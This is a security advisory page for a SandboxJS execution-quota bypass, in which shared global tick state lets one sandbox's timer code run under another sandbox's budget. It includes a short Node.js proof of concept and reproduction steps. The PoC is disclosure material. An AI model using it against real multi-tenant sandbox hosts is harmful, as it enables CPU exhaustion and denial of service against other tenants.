Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-7p5m-xrh7-769r
No affected components available
Summary
Assumed repo path is /Users/zwique/Downloads/SandboxJS-0.8.34 (no /Users/zwique/Downloads/SandboxJS found). A global tick state (currentTicks.current) is shared between sandboxes. Timer string handlers are compiled at execution time using that global tick state rather than the scheduling sandbox's tick object. In multi-tenant / concurrent sandbox scenarios, another sandbox can overwrite currentTicks.current between scheduling and execution, causing the timer callback to run under a different sandbox's tick budget and bypass the original sandbox's execution quota/watchdog.
Impact: execution quota bypass → CPU/resource abuse
Details
- Affected project: SandboxJS (owner: nyariv)
- Assumed checked-out version:
SandboxJS-0.8.34at/Users/zwique/Downloads/SandboxJS-0.8.34
Vulnerable code paths
-
/src/eval.ts—sandboxFunctionbindsticksusingticks || currentTicks.current:createFunction(..., ticks || currentTicks.current, { ...context, ... })Relevant lines: 44, 53, 164, 167.
-
/src/evaluator.ts//src/executor.ts— global ticks:export const currentTicks = { current: { ticks: BigInt(0) } as Ticks };and
_execNoneRecurse(...) { currentTicks.current = ticks; ... }Relevant lines: ~1700, 1712.
-
sandboxedSetTimeoutcompiles string handlers at execution time, not at scheduling time, which letscurrentTicks.currentbe the wrong sandbox's ticks when compilation occurs.
Why This Is Vulnerable
currentTicks.currentis global mutable state shared across all sandbox instances.- Timer string handlers are compiled at the moment the timer fires and read
currentTicks.currentat that time. If another sandbox runs between scheduling and execution, it can replacecurrentTicks.current. The scheduled timer's code will be compiled/executed with the other sandbox's tick budget. This allows the original sandbox's execution quota to be bypassed.
Proof of Concept
Run with Node.js; adjust path if needed.
// PoC (run with node); adjust path if needed
import Sandbox from '/Users/zwique/Downloads/SandboxJS-0.8.34/node_modules/@nyariv/sandboxjs/build/Sandbox.js';
const globals = { ...Sandbox.SAFE_GLOBALS, setTimeout, clearTimeout };
const prototypeWhitelist = Sandbox.SAFE_PROTOTYPES;
const sandboxA = new Sandbox({
globals,
prototypeWhitelist,
executionQuota: 50n,
haltOnSandboxError: true,
});
let haltedA = false;
sandboxA.subscribeHalt(() => { haltedA = true; });
const sandboxB = new Sandbox({ globals, prototypeWhitelist });
// Sandbox A schedules a heavy string handler
sandboxA.compile(
'setTimeout("let x=0; for (let i=0;i<200;i++){ x += i } globalThis.doneA = true;", 0);'
)().run();
// Run sandbox B before A's timer fires
sandboxB.compile('1+1')().run();
setTimeout(() => {
console.log({ haltedA, doneA: sandboxA.context.sandboxGlobal.doneA });
}, 50);
Reproduction Steps
-
Place the PoC in
hi.jsand run:node /Users/zwique/Downloads/SandboxJS-0.8.34/hi.js -
Observe output similar to:
{ haltedA: false, doneA: true }This indicates the heavy loop completed and the quota was bypassed.
-
Remove the
sandboxB.compile('1+1')().run();line and rerun. Output should now be:{ haltedA: true }This indicates quota enforcement is working correctly.
Impact
- Type: Runtime guard bypass (execution-quota / watchdog bypass)
- Who is impacted: Applications that run multiple SandboxJS instances concurrently in the same process — multi-tenant interpreters, plugin engines, server-side scripting hosts, online code runners.
- Practical impact: Attackers controlling sandboxed code can bypass configured execution quotas/watchdog and perform CPU-intensive loops or long-running computation, enabling resource exhaustion/DoS or denial of service against the host process or other tenants.
- Does not (as tested) lead to: Host object exposure or direct sandbox escape (no
process/requireleakage observed from this primitive alone). Escalation to RCE was attempted and not observed.
The vulnerability requires local access to the device to be exploited. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability.
Limited exploitation activity has been observed. Close monitoring and planned remediation are recommended.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard